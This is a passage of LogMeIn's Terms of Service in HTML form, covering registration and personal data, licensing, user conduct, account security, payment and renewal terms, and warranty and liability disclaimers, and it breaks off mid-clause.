LogMeIn Hamachi<sup></sup>, LogMeIn for Android or iOS, join.me<sup></sup>, LogMeIn
Pro<sup></sup>, LogMeIn Rescue<sup></sup> or LogMeIn<sup></sup>
Rescue+Mobile<sup>TM</sup>, and Xively, along with their related software,
including the Network Console<sup>TM</sup> (altogether the Services, and each
a &quot;Service&quot;). Each Service may have additional terms and conditions
that are unique to their particular functions and features. You are encouraged
to read the Service-specific Terms in Articles VI, VII and VIII below before
purchasing or accessing any of the Services. BY COMPLETING THE ELECTRONIC
ACCEPTANCE PROCESS, CLICKING THE &quot;SUBMIT&quot; OR &quot;ACCEPT&quot;
BUTTONS, USING ANY OF THE SERVICES OR OTHERWISE INDICATING ACCEPTANCE OF THESE
TERMS, YOU AND ANY PARTY OR ENTITY THAT YOU ARE USING/PURCHASING THE SERVICE ON
BEHALF OF (TOGETHER REFERRED TO AS &quot;YOU&quot; OR &quot;YOUR&quot;),
REPRESENT AND WARRANT THAT: (i) YOU ARE AUTHORIZED TO BIND YOURSELF AND ANY
OTHER PARTY ON WHOSE BEHALF YOU USE THE SERVICE AND/OR SOFTWARE; AND (ii) YOU
AGREE TO BE BOUND BY ALL OF THESE TERMS (INCLUDING THE DISCLAIMER OF WARRANTY
AND LIMITATION OF LIABILITY SECTIONS SET FORTH BELOW) TO THE EXCLUSION OF ANY
OTHER RIGHTS AND OBLIGATIONS, SUCH AS ANY RIGHTS, OBLIGATIONS OR OTHER TERMS
LISTED ON A PURCHASE ORDER OR THE LIKE YOU MAY PROVIDE LMI AND YOU AGREE THAT
ANY SUCH RIGHTS, OBLIGATIONS OR OTHER TERMS ARE HEREBY NULL AND VOID. YOU
UNDERSTAND AND AGREE THAT WHEN ORDERING OR ACCESSING LMI'S SERVICES FROM
COUNTRIES LOCATED OUTSIDE OF THE UNITED STATES YOU ARE ENTERING INTO A BINDING
CONTRACT WITH LMI IRELAND, NOT LMI INC., AND LMI IRELAND SHALL SERVE AS THE
SELLER OF RECORD TO YOU. FOR THE AVOIDANCE OF DOUBT, ANY REFERENCES TO
&quot;LMI&quot; IN THESE TERMS RELATED TO (i) THE SALE OF SERVICES TO CUSTOMERS
LOCATED OUTSIDE OF THE UNITED STATES OR (ii) THE REPORTING AND/OR PAYMENT
OBLIGATIONS IN CONNECTION THEREWITH, SHALL BE CONSTRUED AS REFERENCES TO LMI
IRELAND AND NOT LMI INC. </span></p>

<div style='border:none;border-bottom:solid windowtext 1.5pt;padding:0in 0in 1.0pt 0in'>

<p class=MsoNormal style='margin-bottom:0in;margin-bottom:.0001pt;text-align:
justify;line-height:normal;border:none;padding:0in'><b><span lang=EN-US
style='font-size:8.0pt;font-family:"Arial","sans-serif"'>&nbsp;</span></b></p>

<p class=MsoNormal style='text-align:justify;border:none;padding:0in'><b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>Article
I. Your Data</span></b></p>

</div>

<p class=MsoListParagraphCxSpFirst style='margin-left:.25in;text-align:justify;
text-indent:-.25in'><b><span lang=EN-US style='font-size:8.0pt;line-height:
115%;font-family:"Arial","sans-serif"'>1.1.<span style='font:7.0pt "Times New Roman"'>&nbsp;
</span></span></b><b><span lang=EN-US style='font-size:8.0pt;line-height:115%;
font-family:"Arial","sans-serif"'>Registration Data.</span></b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>
To use the Services, You must complete and submit an online registration form
(the &quot;Registration Form&quot;). As part of this registration process, You
agree to: (i) provide certain limited information about Yourself as prompted to
do so during the registration process or thereafter by the Service (such
information to be current, complete and accurate) and (ii) maintain and update
this information as required to keep it current, complete and accurate. The
information requested at the time of the original signup shall be referred to
as registration data (the &quot;Registration Data&quot;). LMI may have limited
access to data that may be stored, created, shared, or displayed through the
Service, which shall be used solely for the purpose of delivering the Service.
LMI's Privacy Policy (</span><span lang=EN-US><a
href="https://secure.logmein.com/policies/privacy.aspx"><span style='font-size:
8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>https://secure.logmein.com/policies/privacy.aspx</span></a></span><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>)
describes how data may be collected, used and disclosed. You may not register
for any Service if You are under 18 years of age. By registering, You represent
to LMI that You are 18 years of age or older. If LMI discovers that any of Your
Registration Data is inaccurate, incomplete or not current, or if LMI
determines, in its sole discretion, that You are not an appropriate subscriber
or user of the Service, LMI may immediately terminate Your right to access,
receive, use and license the Service and its related software.</span></p>

<p class=MsoListParagraphCxSpMiddle style='margin-left:.25in;text-align:justify;
text-indent:-.25in'><b><span lang=EN-US style='font-size:8.0pt;line-height:
115%;font-family:"Arial","sans-serif"'>1.2.<span style='font:7.0pt "Times New Roman"'>&nbsp;
</span></span></b><b><span lang=EN-US style='font-size:8.0pt;line-height:115%;
font-family:"Arial","sans-serif"'>Personally Identifiable Information.</span></b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>
When using certain Service(s) provided by LMI hereunder, it may be possible for
You to exchange limited personally identifiable information (&quot;PII&quot;)
with LMI. Your assent to these Terms constitutes an express understanding and
agreement that when PII is provided to LMI in connection with the Services,
through any of the LMI websites, or otherwise under these Terms, such PII may
be maintained and/or processed in the United States by LMI, as LMI's Services,
software and website are provided via equipment and other resources located in
the United States. To ensure that Your PII is handled with due care, LMI
annually certifies that it adheres to the Safe Harbor framework developed by
the U.S. Department of Commerce in coordination with the European Union. The
European Union's Directive on Data Protection prohibits the transfer of personal
data to non-EU countries that do not provide an &quot;adequate&quot; level of
privacy protection. Safe Harbor certification permits a &quot;certified&quot;
entity to transfer personal data from the EU to the United States in accordance
with the EU Directive. To learn more about the Safe Harbor program and to view
LMIs certification, please visit </span><span lang=EN-US><a
href="http://www.export.gov/safeharbor/"><span style='font-size:8.0pt;
line-height:115%;font-family:"Arial","sans-serif"'>http://www.export.gov/safeharbor/</span></a></span><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>.
</span></p>

<p class=MsoListParagraphCxSpMiddle style='margin-top:0in;margin-right:0in;
margin-bottom:0in;margin-left:.25in;margin-bottom:.0001pt;text-align:justify;
text-indent:-.25in;line-height:normal'><b><span lang=EN-US style='font-size:
8.0pt;font-family:"Arial","sans-serif"'>1.3.<span style='font:7.0pt "Times New Roman"'>&nbsp;
</span></span></b><b><span lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>Service
Data</span></b><span lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>.
</span><span lang=EN style='font-size:8.0pt;font-family:"Arial","sans-serif"'>When
using the LMI Services You may transmit, store and or share certain data,
information, files, etc. (altogether Service Data). For the avoidance of
doubt, </span><span lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>You
retain full ownership of Your Service Data. LMI does not own any of Your </span><strong><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif";font-weight:
normal'>Service </span></strong><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'>Data and specifically disclaims any
responsibility for any data that You or any other user posts or produces while
using the Service. </span><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>LMI agrees that </span><span lang=EN style='font-size:
8.0pt;font-family:"Arial","sans-serif"'>these Terms do not grant LMI any
ownership rights to Your Service Data and LMI agrees not</span><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'> access or
use any of Your Service Data for any purpose other than to the extent necessary
to provide the Service to You. LMI does not select or screen <strong><span
style='font-family:"Arial","sans-serif";font-weight:normal'>Service </span></strong>Data
and does not review, test, confirm, approve or verify the accuracy of any <strong><span
style='font-family:"Arial","sans-serif";font-weight:normal'>Service </span></strong>Data.
</span><span lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>You
are <strong><span style='font-family:"Arial","sans-serif";font-weight:normal'>solely</span></strong>
responsible for any and all </span><strong><span lang=EN-US style='font-size:
8.0pt;font-family:"Arial","sans-serif";font-weight:normal'>Service </span></strong><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>Data that
You produce, transmit and/or store in the Service.</span></p>

<p class=MsoListParagraphCxSpLast style='margin-top:0in;margin-right:0in;
margin-bottom:0in;margin-left:.25in;margin-bottom:.0001pt;text-align:justify;
line-height:normal'><span lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>&nbsp;</span></p>

<div style='border:none;border-bottom:solid windowtext 1.5pt;padding:0in 0in 1.0pt 0in'>

<p class=MsoNormal style='text-align:justify;border:none;padding:0in'><b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>Article
II.  Using Your Account</span></b></p>

</div>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>2.1.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> <b>License Grant.</b> LMI hereby grants
You a royalty-free, nonexclusive, worldwide, non-transferable, right and
license to access, use, execute and deploy the Service and its related software
for the applicable subscription term subject to the restrictions set forth in
these Terms. The Service is owned and operated by LMI and provided to You on a
subscription basis; LMI is not transferring ownership or title to the Service
to You. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>2.1.1. The
Service is made available for download solely for use by You and only according
to these Terms. Any reproduction, resale or redistribution of the Service that
is not in accordance with these Terms is expressly prohibited, and may result
in civil and criminal penalties. Violators will be prosecuted to the maximum
extent possible. The license granted hereunder may not be transferred by You to
any third party and is non-exclusive.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>2.1.2. You
acknowledge that the Services and their related software are proprietary to LMI
and/or its suppliers and are protected by copyrights, trademarks, service
marks, patents and/or other proprietary rights and laws. You may not remove any
proprietary notices or labels from any of the Services. You may not alter,
modify, redistribute, sell, auction, decompile, reverse engineer, disassemble
or otherwise reduce any of the Services to a human-readable form. You may not
reproduce, distribute or create any derivative works based on the Services
without expressly being authorized in writing to do so by LMI. Further, You may
not rent, lease, grant a security interest in or otherwise transfer any rights
to the Services. All rights not expressly granted in these Terms are reserved
to LMI and its suppliers. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>2.1.3. The
license granted hereunder entitles You to receive any and all standard updates
and support that LMI provides to all users of its Services, generally.
Notwithstanding the previous sentence, LMI reserves the right to charge all of
its users fees for any future versions of, or premium (i.e., charged for)
upgrades to, the Services. You understand that LMI may update or modify any of
the Services and their related software at any time, but is under no obligation
to inform You of any such updates or modifications. For the avoidance of doubt,
unless LMI chooses to provide such updates or modifications to all of its
users, these Terms do not grant You any right, license or interest in or to any
premium or VIP support, maintenance, improvements, modifications,
enhancements or upgrades to the Services or their related software. To the
extent that LMI supplies any updates or upgrades to You, they will be deemed to
be subject to these Terms, unless LMI indicates otherwise. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>2.1.4. ANY
AND ALL CONTENT ON THE WEBSITES, SOFTWARE AND COMPUTER PROGRAMS ASSOCIATED WITH
THE SERVICES ARE PROTECTED BY COPYRIGHT AND OTHER INTELLECTUAL PROPERTY LAWS.
EXCEPT AS SPECIFICALLY PERMITTED HEREIN, NO PORTION OF THE INFORMATION OR
CONTENT ON SUCH WEBSITES, SOFTWARE AND COMPUTER PROGRAMS MAY BE REPRODUCED IN
ANY FORM, OR BY ANY MEANS, WITHOUT PRIOR WRITTEN PERMISSION FROM LMI. YOU AND
ANY OTHER VISITOR OR USER ARE NOT PERMITTED TO MODIFY, DISTRIBUTE, PUBLISH,
TRANSMIT OR CREATE DERIVATIVE WORKS OF ANY MATERIAL FOUND ON SUCH WEBSITES,
SOFTWARE AND COMPUTER PROGRAMS FOR ANY PUBLIC OR COMMERCIAL PURPOSE.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>2.2.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> <b>End User Conduct.</b> You are solely
responsible for the content of Your computer(s) and Your LMI account and any
transmissions made when using the Services. Your use of the Services are
subject to the Terms set forth herein and all applicable laws, rules and
regulations, including local, state, national and international laws, rules and
regulations (including without limitation those governing account collection,
export control, consumer protection, unfair competition, anti-discrimination or
false advertising). When using any of the Services You hereby agree: (i) to
comply with all applicable laws, rules and regulations, including local, state,
national and international laws, rules and regulations (including without
limitation those governing account collection, export control, consumer
protection, unfair competition, anti-discrimination or false advertising); (ii)
not to use the Service to post, distribute, or otherwise make available or
transmit any software or other computer files that contain a virus, trojan
horse, worm or other harmful or destructive component; (iii) not to use the
Service for any illegal purposes; (iv) not to delete from the Service or its
related software, documentation or any LMI website used in connection with the
Service, any legal notices, disclaimers, or proprietary notices such as
copyright or trademark notices, or modify any logos that You do not own or have
express permission to modify; (v) not to use the Service to interfere or
disrupt any other networks connected to the Service; (vi) not to use the
Service to infringe any third party's copyright, patent, trademark, trade
secret or other proprietary rights or rights of publicity or privacy; and (vii)
not to use the Service to distribute any unlawful, harassing, libelous,
defamatory, racist, indecent, abusive, violent, threatening, intimidating,
harmful, vulgar, obscene, offensive or otherwise objectionable material of any
kind or nature. You shall not access or use someone else's LogMeIn account at
any time, without first obtaining the permission of the account holder. You
agree that You are responsible for all actions and inactions of Your employees,
consultants, or any other third party that You allow to access Your LMI
account, and You agree to use commercially reasonable efforts to monitor such
third party users. LMI reserves the right to disable Your account or take any
other action that LMI in its sole discretion deems necessary or appropriate in
the event that LMI has reason to believe that Your conduct while using any of
the Services has violated the terms of this Section 2.2.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>2.3</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'>. <b>Account Passwords &amp; Security.</b>
Certain Services provided by LMI hereunder require You to use an email address
to create a username and choose a password for access to Your LogMeIn account
(for security purposes, LMI recommends choosing a password for the Service that
is different from the username and password to Your computer). LMI does not
send emails asking for a user's LogMeIn username and/or password or any other
username or password. To keep the Service secure, You should keep all usernames
and passwords confidential. Access to, and use of, password-protected and/or
secure aspects of the Services are restricted to authorized users only.
Unauthorized individuals attempting to use any of the Services may be subject
to prosecution. You agree to carefully safeguard all of Your passwords. LMI
does not maintain a database of user passwords so You are solely responsible if
You do not maintain the confidentiality of Your passwords and account
information. Furthermore, You are solely responsible for any and all activity
that occurs under Your account. LMI is not liable for any loss incurred by You
resulting from another's use of Your password, account, or public/private key,
as may be applicable, either with or without Your knowledge. However, You may
be held liable for losses incurred by LMI or another party due to another's use
of Your password, account, or public/private key, as may be applicable, either
with or without Your knowledge. You agree to immediately notify LMI of any
unauthorized use of Your account or any other suspected breach of security
known to You, including if You believe that Your password and/or account
information has been stolen or otherwise compromised.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><span lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>&nbsp;</span></p>

<div style='border:none;border-bottom:solid windowtext 1.5pt;padding:0in 0in 1.0pt 0in'>

<p class=MsoNormal style='text-align:justify;border:none;padding:0in'><b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>Article
III. Payment Terms, Fees and Renewals</span></b></p>

</div>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>3.1.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> <b>Accepted Methods of Payment: </b></span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>3.1.1. <u>Payment
of Month-to-Month Subscriptions</u>. In the event that Your subscription to a
Service is on a monthly basis, payment of the subscription fee must be by
preauthorized credit card charge, PayPal<sup></sup> charge or direct debit
only, and Your subscription will automatically renew each calendar month unless
You provide LMI with written notice of non-renewal during the prior calendar
month. You will automatically be charged the applicable monthly subscription
fee for each month or partial month that Your month-to-month subscription is in
effect. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>3.1.2. <u>Payment
of Annual Subscriptions</u>: </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>3.1.2.1. <u>Annual
Subscriptions by Credit Card</u>. In the event that Your subscription to the
Service is for a year and the initial payment is by credit card, PayPal<sup></sup>
charge or direct debit, Your subscription will automatically renew at the
beginning of each subsequent anniversary year unless You give LMI prior written
notice of non-renewal at least thirty (30) days prior to the expiration of Your
current year subscription. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>3.1.2.2. <u>Annual
Subscriptions By Invoice</u>. In the event that Your subscription to the
Service is for a year and the initial payment is by check or bank draft against
an invoice from LMI, payment shall be due within thirty (30) days' of the date
of invoice. Additionally, Your subscription will automatically renew at the
beginning of each subsequent anniversary year unless You or LMI give prior
written notice of non-renewal at least thirty (30) days prior to the expiration
of the current year subscription. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>3.1.3. <u>Free
Subscriptions</u>. Notwithstanding the above, Your subscription to any of LMI's
free Services do not require the payment of a subscription fee. LMI reserves
the right, in its sole and absolute discretion, to restrict or limit the number
of free or basic versions of the Services that may be used by any
individual, entity or group of entities.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>3.2.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> <b>Non-U.S. Customer Renewals.</b> If You
are located outside of the United States, Your subscription to LMI's Services
shall automatically renew with LMI Ireland, not LMI Inc., and LMI Ireland shall
serve as the seller of record to You for any subsequent subscription renewal
terms. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>3.3.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'>  <b>No Cancellations.</b> Notwithstanding
any provision of these Terms or any course of dealing between the parties, You
may not cancel, terminate or rescind a subscription during its term. Any and
all payments by You to LMI for access to the Services are final. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>3.4.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'>  <b>Credit Card Authorization.</b> In the
event that You cancel the credit card provided to LMI to pay for the Service or
the card expires or is otherwise terminated, You must immediately provide LMI
with a new valid credit card number. You authorize LMI, from time to time, to
undertake steps to determine whether the credit card number provided to LMI is
a valid credit card number. In the event that You do not provide LMI with a
current valid credit card number with sufficient credit upon request during the
effective period of these Terms, You will be in violation of these Terms. You
hereby authorize LMI to automatically update Your credit card information using
software designed for updating purposes.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>3.5.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'>  <b>Paying via PayPal<sup></sup>.</b> LMI
also accepts payment via PayPal<sup></sup>. In order to pay with PayPal, You
must have an account with PayPal. When You select PayPal to make payments, the
transaction is re-directed from LMI's site to PayPal's payment site. When
PayPal is used, Your financial information is not shared with LMI. Once
directed to PayPal's site, PayPal is charged with protecting Your personal and
financial information. Your PayPal account and any activities related thereto
shall be subject to PayPal's terms and conditions and any information provided
to PayPal in relation thereto will be governed by PayPal's privacy policy. Once
payment is complete via PayPal, PayPal will email a receipt for this transaction.
LMI reserves the right to request proof of identity from any PayPal member. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>3.6.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'>  <b>Payment Due.</b> Unless otherwise
provided for herein, payment of all fees are due and payable to LMI without
demand, invoicing or notice before the commencement of the subscription period
to which those fees apply. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>3.7.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> <b>Taxes.</b> You agree to be responsible
for and to pay any applicable sales, personal property, use, VAT, excise,
withholding, or any other taxes that may be imposed, based on this license, or
the use or possession of a Service, or any software or other product provided
under these Terms, excluding any taxes based on net income payable by LMI. If
You are exempt from paying any sales, use or other taxes, You must provide LMI
with appropriate evidence of tax exemption for all relevant jurisdictions.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>3.8.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> <b>Sales, Promotional Offers, Coupons,
Credits.</b> Sales, promotions and other special discounted pricing offers are
temporary and upon the renewal of Your subscription, any such discounted
pricing offers may expire. LMI reserves the right to discontinue or modify any
coupons, credits, sales and special promotional offers at its sole discretion. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><span lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>&nbsp;</span></p>

<div style='border:none;border-bottom:solid windowtext 1.5pt;padding:0in 0in 1.0pt 0in'>

<p class=MsoNormal style='text-align:justify;border:none;padding:0in'><b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>Article
IV. Legal Terms</span></b></p>

</div>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in'><b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>4.1.</span></b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>
<b>Disclaimer of Warranties.</b> Although LMI has attempted to provide accurate
information with regard to the Service, LMI assumes no responsibility for the
accuracy or inaccuracy of any information provided. Mention of non-LMI products
or services is for information purposes only and constitutes neither an
endorsement nor a recommendation. Your use of any of the Services is at Your
own risk. ALL INFORMATION, DOCUMENTATION AND SERVICES PROVIDED BY LMI ARE
PROVIDED &quot;AS IS&quot; WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR
IMPLIED, INCLUDING, BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE OR NON-INFRINGEMENT,
OR ARISING FROM A COURSE OF DEALING, USAGE, OR TRADE PRACTICE. TO THE MAXIMUM
EXTENT PERMITTED BY LAW, LMI EXPRESSLY DISCLAIMS ANY AND ALL WARRANTIES,
CONDITIONS, REPRESENTATIONS, AND GUARANTEES WITH RESPECT TO THE SERVICE, WHETHER
EXPRESS OR IMPLIED, ARISING BY LAW, CUSTOM, PRIOR ORAL OR WRITTEN STATEMENTS,
OR OTHERWISE. LMI MAKES NO WARRANTY THAT THE SERVICE WILL MEET YOUR
REQUIREMENTS OR THAT THE SERVICE WILL BE UNINTERRUPTED, TIMELY OR ERROR FREE.
NOR DOES LMI MAKE ANY WARRANTY AS TO THE RESULTS THAT MAY BE OBTAINED FROM THE
USE OF THE SERVICE OR THE ACCURACY OF ANY OTHER INFORMATION OBTAINED THROUGH
THE SERVICE. YOU UNDERSTAND AND AGREE THAT ANY MATERIAL AND/OR DATA DOWNLOADED
OR OTHERWISE OBTAINED THROUGH THE USE OF THE SERVICE IS DONE AT YOUR OWN RISK
AND THAT YOU WILL BE SOLELY RESPONSIBLE FOR ANY DAMAGE TO ANY COMPUTER SYSTEM
OR LOSS OF DATA THAT RESULTS FROM THE DOWNLOAD OF SUCH MATERIAL AND/OR DATA. NO
REPRESENTATION OR OTHER AFFIRMATION OF FACT, INCLUDING, WITHOUT LIMITATION,
STATEMENTS REGARDING CAPACITY, SUITABILITY FOR USE OR PERFORMANCE OF THE
SERVICES, WHETHER MADE BY EMPLOYEES OF LMI OR OTHERWISE, WHICH IS NOT CONTAINED
IN THIS AGREEMENT, SHALL BE DEEMED TO BE A WARRANTY BY LMI FOR ANY PURPOSE, OR
GIVE RISE TO ANY LIABILITY OF LMI WHATSOEVER.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>4.2.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> <b>Limitations of Damages and Liability.</b>
</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>4.2.1. YOU
AGREE THAT THE CONSIDERATION WHICH LMI IS RECEIVING HEREUNDER DOES NOT INCLUDE
CONSIDERATION FOR ASSUMPTION BY LMI OF THE RISK OF YOUR SPECIAL, CONSEQUENTIAL,
INCIDENTAL OR OTHER INDIRECT DAMAGES. LMI AND ITS SUPPLIERS SHALL NOT BE LIABLE
FOR ANY SPECIAL, CONSEQUENTIAL, INCIDENTAL OR OTHER INDIRECT DAMAGES INCLUDING,
WITHOUT LIMITATION, LOST PROFITS OR REVENUES, COSTS OF REPLACEMENT PRODUCTS OR
SERVICES, LOSS OR DAMAGE TO INFORMATION OR DATA ARISING OUT OF THE USE OR
INABILITY TO USE THE SERVICE. UNDER NO CIRCUMSTANCES, INCLUDING, BUT NOT
LIMITED TO, NEGLIGENCE, SHALL LMI BE LIABLE FOR DAMAGES RESULTING FROM USE OF
THE SERVICE, OR RELIANCE ON THE INFORMATION PRESENTED IN CONNECTION WITH THE
SERVICE, EVEN IF LMI OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES. YOU AGREE NOT TO ASSERT ANY SUCH CLAIM AGAINST LMI OR ITS
SUBSIDIARIES OR AFFILIATES OR THEIR RESPECTIVE OFFICERS, DIRECTORS, OR
EMPLOYEES. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>4.2.2. YOU
EXPRESSLY AGREE THAT YOUR USE OF THE SERVICE IS AT YOUR OWN RISK. IN NO EVENT
SHALL LMI'S TOTAL LIABILITY FROM ALL DAMAGES, LOSSES, AND CAUSES OF ACTION
